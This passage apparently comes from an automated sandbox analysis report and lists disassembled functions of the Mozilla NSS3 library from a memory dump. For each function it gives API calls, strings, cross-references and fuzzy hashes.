API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction ID: b93456ca4730d94e4b444e25194c5bd86eceaf0c0e67f3adfd0141c361d24dbf
Opcode Fuzzy Hash: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction Fuzzy Hash: 7651D0B1A05113ABEB008FA59C40F9A73B5AF4635CF260425FD155BB61EB20E909CB9F

Function 6C5DBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5DBE02

Part of subcall function 6C709C40: memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DBE9F

Strings

database corruption, xrefs: 6C5DBE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DBE89
%s at line %d of [%.10s], xrefs: 6C5DBE98

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction ID: 2cb60c456c74f4e363c52790e46bb529bea1504c2525b308e91cf8af1d7d90c4
Opcode Fuzzy Hash: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction Fuzzy Hash: 4A310431A0435A8BC700EF6D8C94AABBBA3EF45314B1A8954EE541BA41D370FD04C7D5

Function 6C6C6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C6E57

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6EAA

Strings

nvl, xrefs: 6C6C6DF9

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nvl
API String ID: 3163584228-2622381835
Opcode ID: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction ID: 27d761a5b64c3951a42306a2f93fccc51be671b2957b802cd5d755221fd57891
Opcode Fuzzy Hash: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction Fuzzy Hash: 5F31C331718612EEDB145F34CD083A6BBA4EB4931AF14063ED89AD6A40E730E456CF8F

Function 6C651EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651EE2

Part of subcall function 6C6B1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C651D97,?,?), ref: 6C6B1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F37
DER_DecodeTimeChoice_Util.NSS3(?,dLel,?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F53

Strings

dLel, xrefs: 6C651F2B, 6C651F51

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLel
API String ID: 3216063065-2953738621
Opcode ID: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction ID: 33d39be9f9a2e1454272c99b24912e9fb2a47bea87085d4a8d4070bcf6d88dfd
Opcode Fuzzy Hash: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction Fuzzy Hash: 7921A471504306AFC700CF2ADD00ADBB7E9BB85799F500929E854D3A40F331E529CBE6

Function 6C640DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C640BDE), ref: 6C640DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C640BDE), ref: 6C640DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C640BDE), ref: 6C640DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C640BDE), ref: 6C640E32

Strings

%s incr => %d (find lib), xrefs: 6C640E2D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction ID: a1a2d71e554ac5d16cb7eb8362636ccec162f22189dc586c63fef9a8274ccdc6
Opcode Fuzzy Hash: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction Fuzzy Hash: FB012472700624AFE7208F259C49E1777FCDB45B09B04843DED09D7A41E762EC2987E5

Function 6C681CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C681CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C681CF1

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

Strings

C_Initialize, xrefs: 6C681CD3
nvl, xrefs: 6C681D09, 6C681D30
pInitArgs = 0x%p, xrefs: 6C681CEC

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nvl
API String ID: 1907330108-1581979034
Opcode ID: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction ID: 5f707e80267b0eb94de6884d87c49c4de110a5f4ac24cb9493e40e417f2e9577
Opcode Fuzzy Hash: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction Fuzzy Hash: B901DEB53031449FDB009F64CA0CF5537B5EB8331AF088434E81996A51DB34D849C7AE

Function 6C6FAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC2D

Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
Part of subcall function 6C69ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
Part of subcall function 6C69ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
Part of subcall function 6C69ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC59
free.MOZGLUE(8CB6FF01,6C6D6AC6,?,?,?,?,?,?,?,?,?,?,6C6E5D40,00000000,?,6C6EAAD4), ref: 6C6FAC62

Strings

@]nl, xrefs: 6C6FAC05

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]nl
API String ID: 1595327144-1632522648
Opcode ID: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction ID: 96968e15d712d2bf2b7c3cbabc7411a1159df50cbfd1495cab9fc49957aee61b
Opcode Fuzzy Hash: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction Fuzzy Hash: 96018BB5A002009FDF00CF58E8D0B5677E8AF05B18F1880A8E9598F707D731E809CBAA

Function 6C5E9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5E9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9DDE

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction ID: 1be4a305a51174723a6a6b9320aeef6d6943676756e98749c0bce4803bf0d159
Opcode Fuzzy Hash: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction Fuzzy Hash: CBA1C071B041049BEB09EF65ED98BAE3771BB8B315F28013DD41B47B40DB3AA845DB86

Function 6C671E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C671ECC

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

TlsGetValue.KERNEL32 ref: 6C671EDF
EnterCriticalSection.KERNEL32(?), ref: 6C671EEF
PR_ExitMonitor.NSS3(?), ref: 6C671F37
PR_Unlock.NSS3(?), ref: 6C671F44

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction ID: baa2013d6119d48b91dfd681aa8cf36bf272b051ce71a4a96a969605ffefa8d8
Opcode Fuzzy Hash: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction Fuzzy Hash: 5771CFB19043019FD720CF25D840A5BB7F5FF89358F14492AE8A993B20E731F959CBA6

Function 6C6FDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6FDE77

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction ID: 0be859b1f8e24fc8667292f647e75161ffc1a682335b1ad90b00df2dab8eadbf
Opcode Fuzzy Hash: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction Fuzzy Hash: 23716571A01319CFDB10CF9AC580A8AB7B6BF49718F25816DD9696B742D730B902CF94

Function 6C66DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32(?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E029
PK11_IsLoggedIn.NSS3 ref: 6C66E046

Part of subcall function 6C678F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
Part of subcall function 6C678F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

PR_Unlock.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E149

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction ID: 18c7d8798a20d172c70a0f185cc4dae8b22bb4d0f324da3bf169ed16ee5eeb3a
Opcode Fuzzy Hash: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction Fuzzy Hash: 4E515870600611CFDB10DF2AC98476ABBF1BF49308F15896DD8998BB51E731E885CBDA

Function 6C67BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C67BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C659F71,?,?,00000000), ref: 6C67BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C67C014

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction ID: 19848bddc68823ba682d0d8ed3f49796023947e938930408a06913af4e5852ee
Opcode Fuzzy Hash: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction Fuzzy Hash: 4A41F671A012059BEB20CE76CC44BEA73B9AF85708F504928D919D7B41FB35E845CBF9

Function 6C64EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C64EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C64EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64EEEB
free.MOZGLUE(?), ref: 6C64EEF6

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction ID: 28afcd085743d4c76425754edaca64e5968d53c7264d63d4820634be28509644
Opcode Fuzzy Hash: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction Fuzzy Hash: 6A310471A00201ABE720DF29CC44FA6BBF4FB46345F14C538E85A87A51EB31E815CBE9

Function 6C661F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C661F1C

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C779EBC), ref: 6C661FB8
